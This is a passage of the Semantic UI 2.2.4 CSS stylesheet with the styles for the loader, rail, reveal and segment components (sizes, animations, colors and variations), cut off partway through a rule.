  -webkit-animation: loader 0.6s linear;
  animation: loader 0.6s linear;
  -webkit-animation-iteration-count: infinite;
  animation-iteration-count: infinite;
  border-radius: 500rem;
  border-color: #767676 transparent transparent;
  border-style: solid;
  border-width: 0.2em;
  box-shadow: 0px 0px 0px 1px transparent;
}

/* Active Animation */

@-webkit-keyframes loader {
  from {
    -webkit-transform: rotate(0deg);
    transform: rotate(0deg);
  }

  to {
    -webkit-transform: rotate(360deg);
    transform: rotate(360deg);
  }
}

@keyframes loader {
  from {
    -webkit-transform: rotate(0deg);
    transform: rotate(0deg);
  }

  to {
    -webkit-transform: rotate(360deg);
    transform: rotate(360deg);
  }
}

/* Sizes */

.ui.mini.loader:before,
.ui.mini.loader:after {
  width: 1rem;
  height: 1rem;
  margin: 0em 0em 0em -0.5rem;
}

.ui.tiny.loader:before,
.ui.tiny.loader:after {
  width: 1.14285714rem;
  height: 1.14285714rem;
  margin: 0em 0em 0em -0.57142857rem;
}

.ui.small.loader:before,
.ui.small.loader:after {
  width: 1.71428571rem;
  height: 1.71428571rem;
  margin: 0em 0em 0em -0.85714286rem;
}

.ui.loader:before,
.ui.loader:after {
  width: 2.28571429rem;
  height: 2.28571429rem;
  margin: 0em 0em 0em -1.14285714rem;
}

.ui.large.loader:before,
.ui.large.loader:after {
  width: 3.42857143rem;
  height: 3.42857143rem;
  margin: 0em 0em 0em -1.71428571rem;
}

.ui.big.loader:before,
.ui.big.loader:after {
  width: 3.71428571rem;
  height: 3.71428571rem;
  margin: 0em 0em 0em -1.85714286rem;
}

.ui.huge.loader:before,
.ui.huge.loader:after {
  width: 4.14285714rem;
  height: 4.14285714rem;
  margin: 0em 0em 0em -2.07142857rem;
}

.ui.massive.loader:before,
.ui.massive.loader:after {
  width: 4.57142857rem;
  height: 4.57142857rem;
  margin: 0em 0em 0em -2.28571429rem;
}

/*-------------------
      Coupling
--------------------*/

/* Show inside active dimmer */

.ui.dimmer .loader {
  display: block;
}

/* Black Dimmer */

.ui.dimmer .ui.loader {
  color: rgba(255, 255, 255, 0.9);
}

.ui.dimmer .ui.loader:before {
  border-color: rgba(255, 255, 255, 0.15);
}

.ui.dimmer .ui.loader:after {
  border-color: #FFFFFF transparent transparent;
}

/* White Dimmer (Inverted) */

.ui.inverted.dimmer .ui.loader {
  color: rgba(0, 0, 0, 0.87);
}

.ui.inverted.dimmer .ui.loader:before {
  border-color: rgba(0, 0, 0, 0.1);
}

.ui.inverted.dimmer .ui.loader:after {
  border-color: #767676 transparent transparent;
}

/*******************************
             Types
*******************************/

/*-------------------
        Text
--------------------*/

.ui.text.loader {
  width: auto !important;
  height: auto !important;
  text-align: center;
  font-style: normal;
}

/*******************************
            States
*******************************/

.ui.indeterminate.loader:after {
  -webkit-animation-direction: reverse;
  animation-direction: reverse;
  -webkit-animation-duration: 1.2s;
  animation-duration: 1.2s;
}

.ui.loader.active,
.ui.loader.visible {
  display: block;
}

.ui.loader.disabled,
.ui.loader.hidden {
  display: none;
}

/*******************************
            Variations
*******************************/

/*-------------------
        Sizes
--------------------*/

/* Loader */

.ui.inverted.dimmer .ui.mini.loader,
.ui.mini.loader {
  width: 1rem;
  height: 1rem;
  font-size: 0.78571429em;
}

.ui.inverted.dimmer .ui.tiny.loader,
.ui.tiny.loader {
  width: 1.14285714rem;
  height: 1.14285714rem;
  font-size: 0.85714286em;
}

.ui.inverted.dimmer .ui.small.loader,
.ui.small.loader {
  width: 1.71428571rem;
  height: 1.71428571rem;
  font-size: 0.92857143em;
}

.ui.inverted.dimmer .ui.loader,
.ui.loader {
  width: 2.28571429rem;
  height: 2.28571429rem;
  font-size: 1em;
}

.ui.inverted.dimmer .ui.large.loader,
.ui.large.loader {
  width: 3.42857143rem;
  height: 3.42857143rem;
  font-size: 1.14285714em;
}

.ui.inverted.dimmer .ui.big.loader,
.ui.big.loader {
  width: 3.71428571rem;
  height: 3.71428571rem;
  font-size: 1.28571429em;
}

.ui.inverted.dimmer .ui.huge.loader,
.ui.huge.loader {
  width: 4.14285714rem;
  height: 4.14285714rem;
  font-size: 1.42857143em;
}

.ui.inverted.dimmer .ui.massive.loader,
.ui.massive.loader {
  width: 4.57142857rem;
  height: 4.57142857rem;
  font-size: 1.71428571em;
}

/* Text Loader */

.ui.mini.text.loader {
  min-width: 1rem;
  padding-top: 1.78571429rem;
}

.ui.tiny.text.loader {
  min-width: 1.14285714rem;
  padding-top: 1.92857143rem;
}

.ui.small.text.loader {
  min-width: 1.71428571rem;
  padding-top: 2.5rem;
}

.ui.text.loader {
  min-width: 2.28571429rem;
  padding-top: 3.07142857rem;
}

.ui.large.text.loader {
  min-width: 3.42857143rem;
  padding-top: 4.21428571rem;
}

.ui.big.text.loader {
  min-width: 3.71428571rem;
  padding-top: 4.5rem;
}

.ui.huge.text.loader {
  min-width: 4.14285714rem;
  padding-top: 4.92857143rem;
}

.ui.massive.text.loader {
  min-width: 4.57142857rem;
  padding-top: 5.35714286rem;
}

/*-------------------
       Inverted
--------------------*/

.ui.inverted.loader {
  color: rgba(255, 255, 255, 0.9);
}

.ui.inverted.loader:before {
  border-color: rgba(255, 255, 255, 0.15);
}

.ui.inverted.loader:after {
  border-top-color: #FFFFFF;
}

/*-------------------
       Inline
--------------------*/

.ui.inline.loader {
  position: relative;
  vertical-align: middle;
  margin: 0em;
  left: 0em;
  top: 0em;
  -webkit-transform: none;
  -ms-transform: none;
  transform: none;
}

.ui.inline.loader.active,
.ui.inline.loader.visible {
  display: inline-block;
}

/* Centered Inline */

.ui.centered.inline.loader.active,
.ui.centered.inline.loader.visible {
  display: block;
  margin-left: auto;
  margin-right: auto;
}

/*******************************
         Theme Overrides
*******************************/

/*******************************
         Site Overrides
*******************************/
/*!
 * # Semantic UI 2.2.4 - Rail
 * http://github.com/semantic-org/semantic-ui/
 *
 *
 * Released under the MIT license
 * http://opensource.org/licenses/MIT
 *
 */

/*******************************
             Rails
*******************************/

.ui.rail {
  position: absolute;
  top: 0%;
  width: 300px;
  height: 100%;
}

.ui.left.rail {
  left: auto;
  right: 100%;
  padding: 0em 2rem 0em 0em;
  margin: 0em 2rem 0em 0em;
}

.ui.right.rail {
  left: 100%;
  right: auto;
  padding: 0em 0em 0em 2rem;
  margin: 0em 0em 0em 2rem;
}

/*******************************
           Variations
*******************************/

/*--------------
     Internal
---------------*/

.ui.left.internal.rail {
  left: 0%;
  right: auto;
  padding: 0em 0em 0em 2rem;
  margin: 0em 0em 0em 2rem;
}

.ui.right.internal.rail {
  left: auto;
  right: 0%;
  padding: 0em 2rem 0em 0em;
  margin: 0em 2rem 0em 0em;
}

/*--------------
    Dividing
---------------*/

.ui.dividing.rail {
  width: 302.5px;
}

.ui.left.dividing.rail {
  padding: 0em 2.5rem 0em 0em;
  margin: 0em 2.5rem 0em 0em;
  border-right: 1px solid rgba(34, 36, 38, 0.15);
}

.ui.right.dividing.rail {
  border-left: 1px solid rgba(34, 36, 38, 0.15);
  padding: 0em 0em 0em 2.5rem;
  margin: 0em 0em 0em 2.5rem;
}

/*--------------
    Distance
---------------*/

.ui.close.rail {
  width: calc( 300px  +  1em );
}

.ui.close.left.rail {
  padding: 0em 1em 0em 0em;
  margin: 0em 1em 0em 0em;
}

.ui.close.right.rail {
  padding: 0em 0em 0em 1em;
  margin: 0em 0em 0em 1em;
}

.ui.very.close.rail {
  width: calc( 300px  +  0.5em );
}

.ui.very.close.left.rail {
  padding: 0em 0.5em 0em 0em;
  margin: 0em 0.5em 0em 0em;
}

.ui.very.close.right.rail {
  padding: 0em 0em 0em 0.5em;
  margin: 0em 0em 0em 0.5em;
}

/*--------------
    Attached
---------------*/

.ui.attached.left.rail,
.ui.attached.right.rail {
  padding: 0em;
  margin: 0em;
}

/*--------------
     Sizing
---------------*/

.ui.mini.rail {
  font-size: 0.78571429rem;
}

.ui.tiny.rail {
  font-size: 0.85714286rem;
}

.ui.small.rail {
  font-size: 0.92857143rem;
}

.ui.rail {
  font-size: 1rem;
}

.ui.large.rail {
  font-size: 1.14285714rem;
}

.ui.big.rail {
  font-size: 1.28571429rem;
}

.ui.huge.rail {
  font-size: 1.42857143rem;
}

.ui.massive.rail {
  font-size: 1.71428571rem;
}

/*******************************
         Theme Overrides
*******************************/

/*******************************
         Site Overrides
*******************************/
/*!
 * # Semantic UI 2.2.4 - Reveal
 * http://github.com/semantic-org/semantic-ui/
 *
 *
 * Released under the MIT license
 * http://opensource.org/licenses/MIT
 *
 */

/*******************************
            Reveal
*******************************/

.ui.reveal {
  display: inherit;
  position: relative !important;
  font-size: 0em !important;
}

.ui.reveal > .visible.content {
  position: absolute !important;
  top: 0em !important;
  left: 0em !important;
  z-index: 3 !important;
  -webkit-transition: all 0.5s ease 0.1s;
  transition: all 0.5s ease 0.1s;
}

.ui.reveal > .hidden.content {
  position: relative !important;
  z-index: 2 !important;
}

/* Make sure hovered element is on top of other reveal */

.ui.active.reveal .visible.content,
.ui.reveal:hover .visible.content {
  z-index: 4 !important;
}

/*******************************
              Types
*******************************/

/*--------------
      Slide
---------------*/

.ui.slide.reveal {
  position: relative !important;
  overflow: hidden !important;
  white-space: nowrap;
}

.ui.slide.reveal > .content {
  display: block;
  width: 100%;
  float: left;
  margin: 0em;
  -webkit-transition: -webkit-transform 0.5s ease 0.1s;
  transition: -webkit-transform 0.5s ease 0.1s;
  transition: transform 0.5s ease 0.1s;
  transition: transform 0.5s ease 0.1s, -webkit-transform 0.5s ease 0.1s;
}

.ui.slide.reveal > .visible.content {
  position: relative !important;
}

.ui.slide.reveal > .hidden.content {
  position: absolute !important;
  left: 0% !important;
  width: 100% !important;
  -webkit-transform: translateX(100%) !important;
  -ms-transform: translateX(100%) !important;
  transform: translateX(100%) !important;
}

.ui.slide.active.reveal > .visible.content,
.ui.slide.reveal:hover > .visible.content {
  -webkit-transform: translateX(-100%) !important;
  -ms-transform: translateX(-100%) !important;
  transform: translateX(-100%) !important;
}

.ui.slide.active.reveal > .hidden.content,
.ui.slide.reveal:hover > .hidden.content {
  -webkit-transform: translateX(0%) !important;
  -ms-transform: translateX(0%) !important;
  transform: translateX(0%) !important;
}

.ui.slide.right.reveal > .visible.content {
  -webkit-transform: translateX(0%) !important;
  -ms-transform: translateX(0%) !important;
  transform: translateX(0%) !important;
}

.ui.slide.right.reveal > .hidden.content {
  -webkit-transform: translateX(-100%) !important;
  -ms-transform: translateX(-100%) !important;
  transform: translateX(-100%) !important;
}

.ui.slide.right.active.reveal > .visible.content,
.ui.slide.right.reveal:hover > .visible.content {
  -webkit-transform: translateX(100%) !important;
  -ms-transform: translateX(100%) !important;
  transform: translateX(100%) !important;
}

.ui.slide.right.active.reveal > .hidden.content,
.ui.slide.right.reveal:hover > .hidden.content {
  -webkit-transform: translateX(0%) !important;
  -ms-transform: translateX(0%) !important;
  transform: translateX(0%) !important;
}

.ui.slide.up.reveal > .hidden.content {
  -webkit-transform: translateY(100%) !important;
  -ms-transform: translateY(100%) !important;
  transform: translateY(100%) !important;
}

.ui.slide.up.active.reveal > .visible.content,
.ui.slide.up.reveal:hover > .visible.content {
  -webkit-transform: translateY(-100%) !important;
  -ms-transform: translateY(-100%) !important;
  transform: translateY(-100%) !important;
}

.ui.slide.up.active.reveal > .hidden.content,
.ui.slide.up.reveal:hover > .hidden.content {
  -webkit-transform: translateY(0%) !important;
  -ms-transform: translateY(0%) !important;
  transform: translateY(0%) !important;
}

.ui.slide.down.reveal > .hidden.content {
  -webkit-transform: translateY(-100%) !important;
  -ms-transform: translateY(-100%) !important;
  transform: translateY(-100%) !important;
}

.ui.slide.down.active.reveal > .visible.content,
.ui.slide.down.reveal:hover > .visible.content {
  -webkit-transform: translateY(100%) !important;
  -ms-transform: translateY(100%) !important;
  transform: translateY(100%) !important;
}

.ui.slide.down.active.reveal > .hidden.content,
.ui.slide.down.reveal:hover > .hidden.content {
  -webkit-transform: translateY(0%) !important;
  -ms-transform: translateY(0%) !important;
  transform: translateY(0%) !important;
}

/*--------------
      Fade
---------------*/

.ui.fade.reveal > .visible.content {
  opacity: 1;
}

.ui.fade.active.reveal > .visible.content,
.ui.fade.reveal:hover > .visible.content {
  opacity: 0;
}

/*--------------
      Move
---------------*/

.ui.move.reveal {
  position: relative !important;
  overflow: hidden !important;
  white-space: nowrap;
}

.ui.move.reveal > .content {
  display: block;
  float: left;
  margin: 0em;
  -webkit-transition: -webkit-transform 0.5s cubic-bezier(0.175, 0.885, 0.32, 1) 0.1s;
  transition: -webkit-transform 0.5s cubic-bezier(0.175, 0.885, 0.32, 1) 0.1s;
  transition: transform 0.5s cubic-bezier(0.175, 0.885, 0.32, 1) 0.1s;
  transition: transform 0.5s cubic-bezier(0.175, 0.885, 0.32, 1) 0.1s, -webkit-transform 0.5s cubic-bezier(0.175, 0.885, 0.32, 1) 0.1s;
}

.ui.move.reveal > .visible.content {
  position: relative !important;
}

.ui.move.reveal > .hidden.content {
  position: absolute !important;
  left: 0% !important;
  width: 100% !important;
}

.ui.move.active.reveal > .visible.content,
.ui.move.reveal:hover > .visible.content {
  -webkit-transform: translateX(-100%) !important;
  -ms-transform: translateX(-100%) !important;
  transform: translateX(-100%) !important;
}

.ui.move.right.active.reveal > .visible.content,
.ui.move.right.reveal:hover > .visible.content {
  -webkit-transform: translateX(100%) !important;
  -ms-transform: translateX(100%) !important;
  transform: translateX(100%) !important;
}

.ui.move.up.active.reveal > .visible.content,
.ui.move.up.reveal:hover > .visible.content {
  -webkit-transform: translateY(-100%) !important;
  -ms-transform: translateY(-100%) !important;
  transform: translateY(-100%) !important;
}

.ui.move.down.active.reveal > .visible.content,
.ui.move.down.reveal:hover > .visible.content {
  -webkit-transform: translateY(100%) !important;
  -ms-transform: translateY(100%) !important;
  transform: translateY(100%) !important;
}

/*--------------
     Rotate
---------------*/

.ui.rotate.reveal > .visible.content {
  -webkit-transition-duration: 0.5s;
  transition-duration: 0.5s;
  -webkit-transform: rotate(0deg);
  -ms-transform: rotate(0deg);
  transform: rotate(0deg);
}

.ui.rotate.reveal > .visible.content,
.ui.rotate.right.reveal > .visible.content {
  -webkit-transform-origin: bottom right;
  -ms-transform-origin: bottom right;
  transform-origin: bottom right;
}

.ui.rotate.active.reveal > .visible.content,
.ui.rotate.reveal:hover > .visible.content,
.ui.rotate.right.active.reveal > .visible.content,
.ui.rotate.right.reveal:hover > .visible.content {
  -webkit-transform: rotate(110deg);
  -ms-transform: rotate(110deg);
  transform: rotate(110deg);
}

.ui.rotate.left.reveal > .visible.content {
  -webkit-transform-origin: bottom left;
  -ms-transform-origin: bottom left;
  transform-origin: bottom left;
}

.ui.rotate.left.active.reveal > .visible.content,
.ui.rotate.left.reveal:hover > .visible.content {
  -webkit-transform: rotate(-110deg);
  -ms-transform: rotate(-110deg);
  transform: rotate(-110deg);
}

/*******************************
              States
*******************************/

.ui.disabled.reveal:hover > .visible.visible.content {
  position: static !important;
  display: block !important;
  opacity: 1 !important;
  top: 0 !important;
  left: 0 !important;
  right: auto !important;
  bottom: auto !important;
  -webkit-transform: none !important;
  -ms-transform: none !important;
  transform: none !important;
}

.ui.disabled.reveal:hover > .hidden.hidden.content {
  display: none !important;
}

/*******************************
           Variations
*******************************/

/*--------------
     Visible
---------------*/

.ui.visible.reveal {
  overflow: visible;
}

/*--------------
     Instant
---------------*/

.ui.instant.reveal > .content {
  -webkit-transition-delay: 0s !important;
  transition-delay: 0s !important;
}

/*--------------
     Sizing
---------------*/

.ui.reveal > .content {
  font-size: 1rem !important;
}

/*******************************
         Theme Overrides
*******************************/

/*******************************
         Site Overrides
*******************************/
/*!
 * # Semantic UI 2.2.4 - Segment
 * http://github.com/semantic-org/semantic-ui/
 *
 *
 * Released under the MIT license
 * http://opensource.org/licenses/MIT
 *
 */

/*******************************
            Segment
*******************************/

.ui.segment {
  position: relative;
  background: #FFFFFF;
  box-shadow: 0px 1px 2px 0 rgba(34, 36, 38, 0.15);
  margin: 1rem 0em;
  padding: 1em 1em;
  border-radius: 0.28571429rem;
  border: 1px solid rgba(34, 36, 38, 0.15);
}

.ui.segment:first-child {
  margin-top: 0em;
}

.ui.segment:last-child {
  margin-bottom: 0em;
}

/* Vertical */

.ui.vertical.segment {
  margin: 0em;
  padding-left: 0em;
  padding-right: 0em;
  background: none transparent;
  border-radius: 0px;
  box-shadow: none;
  border: none;
  border-bottom: 1px solid rgba(34, 36, 38, 0.15);
}

.ui.vertical.segment:last-child {
  border-bottom: none;
}

/*-------------------
    Loose Coupling
--------------------*/

/* Header */

.ui.inverted.segment > .ui.header {
  color: #FFFFFF;
}

/* Label */

.ui[class*="bottom attached"].segment > [class*="top attached"].label {
  border-top-left-radius: 0em;
  border-top-right-radius: 0em;
}

.ui[class*="top attached"].segment > [class*="bottom attached"].label {
  border-bottom-left-radius: 0em;
  border-bottom-right-radius: 0em;
}

.ui.attached.segment:not(.top):not(.bottom) > [class*="top attached"].label {
  border-top-left-radius: 0em;
  border-top-right-radius: 0em;
}

.ui.attached.segment:not(.top):not(.bottom) > [class*="bottom attached"].label {
  border-bottom-left-radius: 0em;
  border-bottom-right-radius: 0em;
}

/* Grid */

.ui.page.grid.segment,
.ui.grid > .row > .ui.segment.column,
.ui.grid > .ui.segment.column {
  padding-top: 2em;
  padding-bottom: 2em;
}

.ui.grid.segment {
  margin: 1rem 0em;
  border-radius: 0.28571429rem;
}

/* Table */

.ui.basic.table.segment {
  background: #FFFFFF;
  border: 1px solid rgba(34, 36, 38, 0.15);
  box-shadow: 0px 1px 2px 0 rgba(34, 36, 38, 0.15);
}

.ui[class*="very basic"].table.segment {
  padding: 1em 1em;
}

/*******************************
             Types
*******************************/

/*-------------------
        Piled
--------------------*/

.ui.piled.segments,
.ui.piled.segment {
  margin: 3em 0em;
  box-shadow: '';
  z-index: auto;
}

.ui.piled.segment:first-child {
  margin-top: 0em;
}

.ui.piled.segment:last-child {
  margin-bottom: 0em;
}

.ui.piled.segments:after,
.ui.piled.segments:before,
.ui.piled.segment:after,
.ui.piled.segment:before {
  background-color: #FFFFFF;
  visibility: visible;
  content: '';
  display: block;
  height: 100%;
  left: 0px;
  position: absolute;
  width: 100%;
  border: 1px solid rgba(34, 36, 38, 0.15);
  box-shadow: '';
}

.ui.piled.segments:before,
.ui.piled.segment:before {
  -webkit-transform: rotate(-1.2deg);
  -ms-transform: rotate(-1.2deg);
  transform: rotate(-1.2deg);
  top: 0;
  z-index: -2;
}

.ui.piled.segments:after,
.ui.piled.segment:after {
  -webkit-transform: rotate(1.2deg);
  -ms-transform: rotate(1.2deg);
  transform: rotate(1.2deg);
  top: 0;
  z-index: -1;
}

/* Piled Attached */

.ui[class*="top attached"].piled.segment {
  margin-top: 3em;
  margin-bottom: 0em;
}

.ui.piled.segment[class*="top attached"]:first-child {
  margin-top: 0em;
}

.ui.piled.segment[class*="bottom attached"] {
  margin-top: 0em;
  margin-bottom: 3em;
}

.ui.piled.segment[class*="bottom attached"]:last-child {
  margin-bottom: 0em;
}

/*-------------------
       Stacked
--------------------*/

.ui.stacked.segment {
  padding-bottom: 1.4em;
}

.ui.stacked.segments:before,
.ui.stacked.segments:after,
.ui.stacked.segment:before,
.ui.stacked.segment:after {
  content: '';
  position: absolute;
  bottom: -3px;
  left: 0%;
  border-top: 1px solid rgba(34, 36, 38, 0.15);
  background: rgba(0, 0, 0, 0.03);
  width: 100%;
  height: 6px;
  visibility: visible;
}

.ui.stacked.segments:before,
.ui.stacked.segment:before {
  display: none;
}

/* Add additional page */

.ui.tall.stacked.segments:before,
.ui.tall.stacked.segment:before {
  display: block;
  bottom: 0px;
}

/* Inverted */

.ui.stacked.inverted.segments:before,
.ui.stacked.inverted.segments:after,
.ui.stacked.inverted.segment:before,
.ui.stacked.inverted.segment:after {
  background-color: rgba(0, 0, 0, 0.03);
  border-top: 1px solid rgba(34, 36, 38, 0.35);
}

/*-------------------
       Padded
--------------------*/

.ui.padded.segment {
  padding: 1.5em;
}

.ui[class*="very padded"].segment {
  padding: 3em;
}

/*-------------------
       Compact
--------------------*/

.ui.compact.segment {
  display: table;
}

/* Compact Group */

.ui.compact.segments {
  display: -webkit-inline-box;
  display: -webkit-inline-flex;
  display: -ms-inline-flexbox;
  display: inline-flex;
}

.ui.compact.segments .segment,
.ui.segments .compact.segment {
  display: block;
  -webkit-box-flex: 0;
  -webkit-flex: 0 1 auto;
  -ms-flex: 0 1 auto;
  flex: 0 1 auto;
}

/*-------------------
       Circular
--------------------*/

.ui.circular.segment {
  display: table-cell;
  padding: 2em;
  text-align: center;
  vertical-align: middle;
  border-radius: 500em;
}

/*-------------------
       Raised
--------------------*/

.ui.raised.segments,
.ui.raised.segment {
  box-shadow: 0px 2px 4px 0px rgba(34, 36, 38, 0.12), 0px 2px 10px 0px rgba(34, 36, 38, 0.15);
}

/*******************************
            Groups
*******************************/

/* Group */

.ui.segments {
  -webkit-box-orient: vertical;
  -webkit-box-direction: normal;
  -webkit-flex-direction: column;
  -ms-flex-direction: column;
  flex-direction: column;
  position: relative;
  margin: 1rem 0em;
  border: 1px solid rgba(34, 36, 38, 0.15);
  box-shadow: 0px 1px 2px 0 rgba(34, 36, 38, 0.15);
  border-radius: 0.28571429rem;
}

.ui.segments:first-child {
  margin-top: 0em;
}

.ui.segments:last-child {
  margin-bottom: 0em;
}

/* Nested Segment */

.ui.segments > .segment {
  top: 0px;
  bottom: 0px;
  border-radius: 0px;
  margin: 0em;
  width: auto;
  box-shadow: none;
  border: none;
  border-top: 1px solid rgba(34, 36, 38, 0.15);
}

.ui.segments:not(.horizontal) > .segment:first-child {
  border-top: none;
  margin-top: 0em;
  bottom: 0px;
  margin-bottom: 0em;
  top: 0px;
  border-radius: 0.28571429rem 0.28571429rem 0em 0em;
}

/* Bottom */

.ui.segments:not(.horizontal) > .segment:last-child {
  top: 0px;
  bottom: 0px;
  margin-top: 0em;
  margin-bottom: 0em;
  box-shadow: 0px 1px 2px 0 rgba(34, 36, 38, 0.15), none;
  border-radius: 0em 0em 0.28571429rem 0.28571429rem;
}

/* Only */

.ui.segments:not(.horizontal) > .segment:only-child {
  border-radius: 0.28571429rem;
}

/* Nested Group */

.ui.segments > .ui.segments {
  border-top: 1px solid rgba(34, 36, 38, 0.15);
  margin: 1rem 1rem;
}

.ui.segments > .segments:first-child {
  border-top: none;
}

.ui.segments > .segment + .segments:not(.horizontal) {
  margin-top: 0em;
}

/* Horizontal Group */

.ui.horizontal.segments {
  display: -webkit-box;
  display: -webkit-flex;
  display: -ms-flexbox;
  display: flex;
  -webkit-box-orient: horizontal;
  -webkit-box-direction: normal;
  -webkit-flex-direction: row;
  -ms-flex-direction: row;
  flex-direction: row;
  background-color: transparent;
  border-radius: 0px;
  padding: 0em;
  background-color: #FFFFFF;
  box-shadow: 0px 1px 2px 0 rgba(34, 36, 38, 0.15);
  margin: 1rem 0em;
  border-radius: 0.28571429rem;
  border: 1px solid rgba(34, 36, 38, 0.15);
}

/* Nested Horizontal Group */

.ui.segments > .horizontal.segments {
  margin: 0em;
  background-color: transparent;
  border-radius: 0px;
  border: none;
  box-shadow: none;
  border-top: 1px solid rgba(34, 36, 38, 0.15);
}

/* Horizontal Segment */

.ui.horizontal.segments > .segment {
  -webkit-box-flex: 1;
  -webkit-flex: 1 1 auto;
  flex: 1 1 auto;
  -ms-flex: 1 1 0px;
  /* Solves #2550 MS Flex */
  margin: 0em;
  min-width: 0px;
  background-color: transparent;
  border-radius: 0px;
  border: none;
  box-shadow: none;
  border-left: 1px solid rgba(34, 36, 38, 0.15);
}

/* Border Fixes */

.ui.segments > .horizontal.segments:first-child {
  border-top: none;
}

.ui.horizontal.segments > .segment:first-child {
  border-left: none;
}

/*******************************
            States
*******************************/

/*--------------
    Disabled
---------------*/

.ui.disabled.segment {
  opacity: 0.45;
  color: rgba(40, 40, 40, 0.3);
}

/*--------------
    Loading
---------------*/

.ui.loading.segment {
  position: relative;
  cursor: default;
  pointer-events: none;
  text-shadow: none !important;
  color: transparent !important;
  -webkit-transition: all 0s linear;
  transition: all 0s linear;
}

.ui.loading.segment:before {
  position: absolute;
  content: '';
  top: 0%;
  left: 0%;
  background: rgba(255, 255, 255, 0.8);
  width: 100%;
  height: 100%;
  border-radius: 0.28571429rem;
  z-index: 100;
}

.ui.loading.segment:after {
  position: absolute;
  content: '';
  top: 50%;
  left: 50%;
  margin: -1.5em 0em 0em -1.5em;
  width: 3em;
  height: 3em;
  -webkit-animation: segment-spin 0.6s linear;
  animation: segment-spin 0.6s linear;
  -webkit-animation-iteration-count: infinite;
  animation-iteration-count: infinite;
  border-radius: 500rem;
  border-color: #767676 rgba(0, 0, 0, 0.1) rgba(0, 0, 0, 0.1) rgba(0, 0, 0, 0.1);
  border-style: solid;
  border-width: 0.2em;
  box-shadow: 0px 0px 0px 1px transparent;
  visibility: visible;
  z-index: 101;
}

@-webkit-keyframes segment-spin {
  from {
    -webkit-transform: rotate(0deg);
    transform: rotate(0deg);
  }

  to {
    -webkit-transform: rotate(360deg);
    transform: rotate(360deg);
  }
}

@keyframes segment-spin {
  from {
    -webkit-transform: rotate(0deg);
    transform: rotate(0deg);
  }

  to {
    -webkit-transform: rotate(360deg);
    transform: rotate(360deg);
  }
}

/*******************************
           Variations
*******************************/

/*-------------------
       Basic
--------------------*/

.ui.basic.segment {
  background: none transparent;
  box-shadow: none;
  border: none;
  border-radius: 0px;
}

/*-------------------
       Clearing
--------------------*/

.ui.clearing.segment:after {
  content: ".";
  display: block;
  height: 0;
  clear: both;
  visibility: hidden;
}

/*-------------------
       Colors
--------------------*/

/* Red */

.ui.red.segment:not(.inverted) {
  border-top: 2px solid #DB2828;
}

.ui.inverted.red.segment {
  background-color: #DB2828 !important;
  color: #FFFFFF !important;
}

/* Orange */

.ui.orange.segment:not(.inverted) {
  border-top: 2px solid #F2711C;
}

.ui.inverted.orange.segment {
  background-color: #F2711C !important;
  color: #FFFFFF !important;
}

/* Yellow */

.ui.yellow.segment:not(.inverted) {
  border-top: 2px solid #FBBD08;
}

.ui.inverted.yellow.segment {
  background-color: #FBBD08 !important;
  color: #FFFFFF !important;
}

/* Olive */

.ui.olive.segment:not(.inverted) {
  border-top: 2px solid #B5CC18;
}

.ui.inverted.olive.segment {
  background-color: #B5CC18 !important;
  color: #FFFFFF !important;
}

/* Green */

.ui.green.segment:not(.inverted) {
  border-top: 2px solid #21BA45;
}

.ui.inverted.green.segment {
  background-color: #21BA45 !important;
  color: #FFFFFF !important;
}

/* Teal */

.ui.teal.segment:not(.inverted) {
  border-top: 2px solid #00B5AD;
}

.ui.inverted.teal.segment {
  background-color: #00B5AD !important;
  color: #FFFFFF !important;
}

/* Blue */

.ui.blue.segment:not(.inverted) {
  border-top: 2px solid #2185D0;
}

.ui.inverted.blue.segment {
  background-color: #2185D0 !important;
  color: #FFFFFF !important;
}

/* Violet */

.ui.violet.segment:not(.inverted) {
  border-top: 2px solid #6435C9;
}

.ui.inverted.violet.segment {
  background-color: #6435C9 !important;
  color: #FFFFFF !important;
}

/* Purple */

.ui.purple.segment:not(.inverted) {
  border-top: 2px solid #A333C8;
}

.ui.inverted.purple.segment {
  background-color: #A333C8 !important;
  color: #FFFFFF !important;
}

/* Pink */

.ui.pink.segment:not(.inverted) {
  border-top: 2px solid #E03997;
}

.ui.inverted.pink.segment {
  background-color: #E03997 !important;
  color: #FFFFFF !important;
}

/* Brown */

.ui.brown.segment:not(.inverted) {
  border-top: 2px solid #A5673F;
}

.ui.inverted.brown.segment {
  background-color: #A5673F !important;
  color: #FFFFFF !important;
}

/* Grey */

.ui.grey.segment:not(.inverted) {
  border-top: 2px solid #767676;
}

.ui.inverted.grey.segment {
  background-color: #767676 !important;
  color: #FFFFFF !important;
}

/* Black */

.ui.black.segment:not(.inverted) {
  border-top: 2px solid #1B1C1D;
}

.ui.inverted.black.segment {
  background-color: #1B1C1D !important;
  color: #FFFFFF !important;
}

/*-------------------
       Aligned
--------------------*/

.ui[class*="left aligned"].segment {
  text-align: left;
}

.ui[class*="right aligned"].segment {
  text-align: right;
}

.ui[class*="center aligned"].segment {
  text-align: center;
}

/*-------------------
       Floated
--------------------*/

.ui.floated.segment,
.ui[class*="left floated"].segment {
  float: left;
  margin-right: 1em;
}

.ui[class*="right floated"].segment {
  float: right;
  margin-left: 1em;
}

/*-------------------
      Inverted
--------------------*/

.ui.inverted.segment {
  border: none;
  box-shadow: none;
}

.ui.inverted.segment,
.ui.primary.inverted.segment {
  background: #1B1C1D;
  color: rgba(255, 255, 255, 0.9);
}

/* Nested */

.ui.inverted.segment .segment {
  color: rgba(0, 0, 0, 0.87);
}

.ui.inverted.segment .inverted.segment {
  color: rgba(255, 255, 255, 0.9);
}

/* Attached */

.ui.inverted.attached.segment {
  border-color: #555555;
}

/*-------------------
     Emphasis
--------------------*/

/* Secondary */

.ui.secondary.segment {
  background: #F3F4F5;
  color: rgba(0, 0, 0, 0.6);
}

.ui.secondary.inverted.segment {
  background: #4c4f52 -webkit-linear-gradient(rgba(255, 255, 255, 0.2) 0%, rgba(255, 255, 255, 0.2) 100%);
  background: #4c4f52 linear-gradient(rgba(255, 255, 255, 0.2) 0%, rgba(255, 255, 255, 0.2) 100%);
  color: rgba(255, 255, 255, 0.8);
}

/* Tertiary */

.ui.tertiary.segment {
  background: #DCDDDE;
  color: rgba(0, 0, 0, 0.6);
}

.ui.tertiary.inverted.segment {
  background: #717579 -webkit-linear-gradient(rgba(255, 255, 255, 0.35) 0%, rgba(255, 255, 255, 0.35) 100%);
  background: #717579 linear-gradient(rgba(255, 255, 255, 0.35) 0%, rgba(255, 255, 255, 0.35) 100%);
  color: rgba(255, 255, 255, 0.8);
}

/*-------------------
      Attached
--------------------*/

/* Middle */

.ui.attached.segment {
  top: 0px;
  bottom: 0px;
  border-radius: 0px;
